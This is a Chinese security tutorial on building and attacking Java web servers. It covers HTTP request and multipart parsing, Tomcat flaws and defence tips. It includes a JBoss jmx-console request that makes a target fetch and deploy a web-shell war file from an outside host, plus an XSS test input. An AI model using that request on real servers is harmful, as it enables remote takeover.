攻擊JavaWeb應用————8、Server篇(下)

FLy_鵬程萬里發表於2018-05-18

0x01 WebServer


Web伺服器可以解析(handles)HTTP協議。當Web伺服器接收到一個HTTP請求(request),會返回一個HTTP響應(response),例如送回一個HTML頁面。

Server篇其實還缺少了JBOSS和Jetty,本打算放到Server[2]寫的。但是這次重點在於和大家分享B/S實現和互動技術。Server[1]已經給大家介紹了許多由Java實現 的WebServer相信小夥伴們對Server的概念不再陌生了。Web伺服器核心是根據HTTP協議解析(Request)和處理(Response)來自客戶端的請求,怎樣去解析和響應來自客戶端的請求正是我們今天的主題。

B/S互動

enter image description here

瀏覽器傳送HTTP請求。經Internet連線到對應伺服器。伺服器解析並處理Http請求,返回處理結果到瀏覽器。瀏覽器解析伺服器返回的資料並顯示解析後的網頁。

在學習之前需要了解瀏覽器和Server工作原理,比如什麼是HTTP協議什麼是Socket。對於更底層的協議暫不提及。

HTTP協議

HTTP的發展是全球資訊網協會(World Wide Web Consortium)和Internet工作小組(Internet Engineering Task Force)合作的結果,(他們)最終釋出了一系列的RFC,其中最著名的RFC 2616,定義了HTTP協議中現今廣泛使用的一個版本—HTTP 1.1。

詳情: http://www.w3.org/Protocols/

請求http://www.google.com:

enter image description here

客戶端瀏覽器傳送了一個HTTP請求, 第一行GET / HTTP/1.1即:以GET方式請求“ /” 目錄HTTP/1.1是請求的HTTP協議版本。而Google返回的則是一個基於HTTP協議的響應,其中包括了狀態碼、內容長度、伺服器版本、以及返回內容型別等。客戶端瀏覽器傳送了一個請求(HttpRequest),Google伺服器返回處理(Handling Request)並響應(HttpResponse)了這個請求。

通俗的說HTTP協議是一種固定的請求格式,只要按照固定的格式去傳送請求,伺服器就可以按照固定的方式去處理來自客戶端的請求。

Socket:

Socket是應用層與TCP/IP協議族通訊的中間軟體抽象層,它是一組介面。Socket通常也稱作”套接字",用於描述IP地址和埠,是一個通訊鏈的控制程式碼。在Internet上的主機一般執行了多個服務軟體,同時提供幾種服務。每種服務都開啟一個Socket,並繫結到一個埠上,不同的埠對應於不同的服務。
  enter image description here

0x01 Java實現Web Server


Oracle提供了一個基礎包:java.net用來實現網路應用程式開發。提供了阻塞的Socket和、非阻塞的SocketChannel、URL等。 客戶端通過Socket與伺服器端建立連線,然後客戶端傳送請求內容到伺服器。伺服器接收到請求返回給客戶端,請求完成後斷開連線。

1、Client

傳送一個非標準的HTTP請求內容為”Hello...”給SAE伺服器:
enter image description here

請求首先到達了對方監聽80埠的nginx,在發現客戶端傳送的內容不符合HTTP請求規範的同時返回了一個400錯誤(400 Bad Request)。 傳送一個合法的HTTP請求(不截圖了,把上面的Hello...換成了req),即傳送:

"GET / HTTP/1.1\r\n"+
"Host: www.wooyun.org\r\n"+
"Connection: keep-alive\r\n"+
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"+
"Cookie: bdshare_firstime=1387989676924\r\n\r\n”;

伺服器返回資訊:
  enter image description here

兩次請求的差異在於是否按照HTTP協議傳送,當我們隨意向目標埠傳送請求時,返回了一個錯誤請求結果。當傳送符合HTTP協議的請求時伺服器返回了正確的處理結果。所以只需按照HTTP協議去解析請求和響應即可。與此同時不難看出請求頭的任何內容都是可以偽造的,這也是之前寫cs互動的時候提到為什麼不要信任來自客戶端的任意請求的根本原因。現在嘗試著寫一個Server,去解析來自瀏覽器的請求。

除了使用上面的“冗餘程式碼”去傳送HTTP請求,你還可以用oracle自帶的URL包去傳送HTTP請求會更加簡單。通過setRequestProperties一樣可以修改請求頭。用getHeaderFields就能獲取到響應頭資訊了。

2、簡單HTTP伺服器實現

需再一次看下上面Socket流程圖,在伺服器上監聽某個埠(listen),等待請求(accept)。一旦有連線到達就開始讀取請求內容(read),然後處理並輸出響應內容(write),最後close。伺服器端核心業務是獲取請求、解析請求、處理請求、返回響應。

Server.java核心程式碼:
  enter image description here

瀏覽器請求:http://192.168.199.240:9527/wooyun.jsp?user=yzmm2&pass=123
enter image description here

瀏覽器請求頭:

GET /wooyun.jsp?user=yzmm&pass=123 HTTP/1.1
Host: 192.168.199.240:9527
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8

現在需要做的是解析請求。在Server裡面有一段解析請求的程式碼:Request req = new Request().parserRequest(sb.toString());//解析請求。具體的需要解析的內容包括:請求頭(Header)、請求引數(Parameter)、請求的URI(RequestURI)等。如果是檔案上傳請求的話還得解析具體的內容(form-data)。 在解析的整個過程沒看過RFC文件,只是根據個人理解去實現請求解析,有不對的地方見諒。

首先用換行符切開請求頭,得到如下結果:GET /wooyun.jsp?user=yzmm&pass=123 HTTP/1.1。可見這裡是按空格隔開的,用正則的\s就可以切開了當前行了。這樣就能簡單的拿到:[GET, /wooyun.jsp?user=yzmm&pass=123, HTTP/1.1]把他們儲存到類的成員變數以便後面呼叫。

解析請求頭比較簡單,只需把請求頭內容按照key、value方式解析出來就行了。比如:Host: localhost:9527,解析後就成了key=Host,value=localhost:9527。parserGET方法就更簡單了,把 /wooyun.jsp?user=yzmm&pass=123以”?”號切開後再以”=”號切開,最終得到的是key=user,value=yzmm、key=pass,value=123

enter image description here

enter image description here  處理結果都裝在瞭如下變數:

#!java
private String method;
private String queryString;
private String requstURI;
private String host;
private Map<String, Object> formContent = new LinkedHashMap<String, Object>();
private Map<String, Object> header = new LinkedHashMap<String, Object>();
private Map<String, Object> parameter = new LinkedHashMap<String, Object>();
private Map<String, Object> multipart = new LinkedHashMap<String, Object>();

如果想取出請求引數可以用parameter.get(“xxxx”)就行了,是不是跟javaee有那麼些相似了?當請求解析完成後需要去載入請求的檔案,比如這裡的wooyun.jsp。

當請求處理完後呼叫getResponse方法把結果輸出到瀏覽器:

#!java
public String getResponse(String content){
        return "HTTP/1.1 200 OK\r\n"+
               "server: "+Constants.SYS_CONFIG_NAME+"\r\n"+
               "Date: "+new Date()+"\r\n"+
               "X-Powered-By-yzmm: "+Constants.SYS_CONFIG_VERSION+"\r\n"+
               "Content-Type: text/html\r\n"+
               "Content-Length: "+(content!=null?content.length():0)+"\r\n\r\n"+
               content;
}

從上可見伺服器的響應資訊也是可以任意的。比如我修改了響應中的server的值你就會在瀏覽器的Response當中看到當前的server是: z7y-server。出現在響應頭裡面有意思的漏洞有:CRLF注入,有興趣的小夥伴兒可以瞭解下。

0x02 檔案上傳請求解析


檔案上傳請求和普通的GET、POST不一樣,在JavaEE裡面會把multipart請求封裝成一個InputStream物件。如果想要從請求裡面解析具體的檔案內容需要讀取流。值得注意的是multipart/form-data中的input域也會包含在InputStream裡面。在JavaEE裡面可以用:request.getInputStream();或request.getReader();方法獲取。

#!html
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>File Upload</title>
</head>
<body>
    <form action="http://192.168.199.240:9527/wooyun.jsp?user=zsy&pass=123" method="post" enctype="multipart/form-data">
        1<input type="checkbox" value="1" name="i" checked="checked" /> 2<input type="checkbox" value="2" name="i" checked="checked" /><br/>
        <input type="file" name="file" /><br/>
        <input type="text" value="<script>alert('你好.');</script>" name="name" style="width:250px;" / ><br/>
        <input type="submit" value="sub" />
    </form>
</body>
</html>

enter image description here

檔案域下方Content-Type: text/html實際上隱藏了upload.html的內容,chrome不會在那兒顯示。判定一個請求是否是檔案上傳只需從請求頭裡面取出Content-Type就行了,如果type是multipart/form-data;即標識當前請求型別是檔案上傳。

關於檔案上傳請求解析,我寫的比較粗暴了。按照分割線分別把內容域和檔案域提取出來,並封裝到multipart map裡面,它們的key分別是file和para。  enter image description here

寫檔案到”伺服器”:  enter image description here

檔案上傳請求安全問題

值得注意的是假如一個檔案上傳和input域同時出現的情況下,跨站和Sql注入機率會非常的高。因為檔案上傳會把input域的請求引數封裝到流裡面,很多時候並沒有人會去處理這樣的惡意請求。

類似的案例: WooYun: 360網站寶/安全寶/加速樂及其他類似產品防護繞過缺陷之一 。漏洞提交者在檔案上傳請求中傳遞了SQL隱碼攻擊語句,而上面的安全軟體的攔截都失效了。。。

據說在PHP裡面還存在另外一個問題,檔案上傳的input域請求會被解析到對應的POST請求物件當中。那麼也就是說假設一個站攔截了普通的GET、POST請求,但是沒有攔截檔案上傳的惡意請求。僅需要簡單的構造一個上傳並傳遞注入語句就繞過了所謂的防禦了。

0x03 檔案或虛擬路徑請求和處理


虛擬路徑請求處理

在Servlet裡面一個Servlet對映的是一個虛擬的路徑。比如請求:http://xxx /servlet/hello。這個servlet/hello並不是一個實際存在的檔案地址。所以我們請求的wooyun.jsp可以是真實存在的一個檔案,也可以是一個虛擬的路徑。比如當客戶端請求wooyun.jsp的時候我們把請求交給Controller去處理(仿MVC):
  enter image description here

而我們的控制層假設做了一個請求校驗:當user等於yzmm的時候輸出Good!,否則輸出Error. 
  enter image description here

分別請求:http://192.168.199.240:9527/wooyun.jsp?user=yzmm&pass=123和user=zsy輸出都是正常的。
  enter image description here

普通的檔案請求

假如使用者請求的不是虛擬路徑而是一個實際存在的檔案呢?這個時候就需要把伺服器的檔案內容讀取並返回給客戶端。比如把Contoller注掉改為content = readFile(request);這次去讀取ROOT下的wooyun.jsp內容。
  enter image description here

這次輸出了”使用者目錄/webapps/zsy/ROOT/wooyun.jsp”內容。

0x04 Server安全問題


檔案解析漏洞

伺服器在處理請求或其本身可能存在一些安全問題。經典的比如IIS、Nginx解析漏洞。那麼是什麼原因讓Server變得這麼”不安全”呢?

在之前的系列裡面講過如果把Tomcat的web.xml的filter新增任意字尾到servlet-name為jsp的Servlet當中,那麼所有字尾為.txt的請求都會被當作jsp解析! 
enter image description here

假設Tomcat在寫正則的時候一不小心寫成了:

#!java
Pattern.compile("\\.jsp").matcher("1.jsp.jpg").find();

那麼所有的1.jsp.jpg的請求都會交給jsp對應的servlet處理。跟這類似的漏洞apache曾經就出現過。問題是apache如果在mime.types檔案裡面沒有定義的副檔名,會給解析成倒數第二個定義的副檔名。

檔案讀取漏洞

好吧,這個Tomcat做的有點奇葩。在某些低版本的Tomcat當請求目錄並沒有找到對應的索引檔案,且web.xml的listings是true。於是Tom貓就乾脆列出這個目錄的所有檔案。

Tomcat還出過另一個低階漏洞,當請求的檔案是UTF-8編碼的時候會造成任意檔案遍歷漏洞。觸發的條件為Apache Tomcat的配置檔案context.xml 或 server.xml 的'allowLinking' 和 'URIencoding' 允許'UTF-8'選項

War檔案部署漏洞

很多時候需要線上上部署一個新的應用時可以在Server的控制檯去動態的部署一個war檔案(其實就是一個壓縮檔案包)。Server會自動解壓並部署。這雖說是非常的方便,但是卻因為Server各自的實現不一或者自身安全意思淡漠導致任意的war檔案都可以遠端部署到Server中去。這裡面的典型代表就是Jboss。請求:

http://192.168.0.113:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://www.ahack.net/iswin.war

成功後訪問:http://192.168.0.113:8080/iswin/index.jsp 菜刀連線(預設包含index.jsp、index.jspx、index.jspf、cmd.jsp三個shell)。

測試版本:jboss-6.1.0.Final。http://p2j.cn/?p=342

enter image description here

控制檯輸出資訊:
  enter image description here

這貨去年十月還出過一個高危的漏洞,同樣是遠端war部署。

Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled Object RCE

詳情: http://www.exploit-db.com/exploits/28713/ http://zone.wooyun.org/content/7398

除了上述漏洞某些Server還出過拒絕服務漏洞、控制檯弱口令漏洞、爆路徑漏洞、WebDAV、XSS等漏洞。可謂想做好一個WebServer是非常的艱難。

0x05 Server漏洞防禦


在總結了之前的Server安全問題之後,我們有沒有想過怎麼去防禦來自客戶端的攻擊呢?我們應該如何去防禦?這裡僅簡要介紹防範思路至於防禦細節,對不起請自行實現。

防禦方式:

1、由遠及近,從CDN層我們可以攔截所有的惡意請求。可以嘗試在請求到達伺服器之前淨化請求資訊。
2、從網路層可以用硬防處理惡意請求。
3、從伺服器層可以寫對應的Server擴充(Filter)攔截惡意請求。
4、安裝伺服器安全軟體。
5、在應用層需要儘可能的注重程式碼編寫,如果無法確保安全性可以在應用層寫一個安全過濾器。

從實現的角度來說前兩者的成本較高,效果或許並不會特別明顯,後面幾種方式顯得更輕。

這一期可以說是對Server篇的補充吧,原始碼沒什麼水平有興趣的朋友可以看看(下載地址:http://pan.baidu.com/s/1qW2Nwx2 )。希望大家看過笑笑之後更加“深入”的瞭解Request和Response吧。原打算寫個簡易瀏覽器也沒時間了。快過年了,祝小夥伴們新年快樂!

相關文章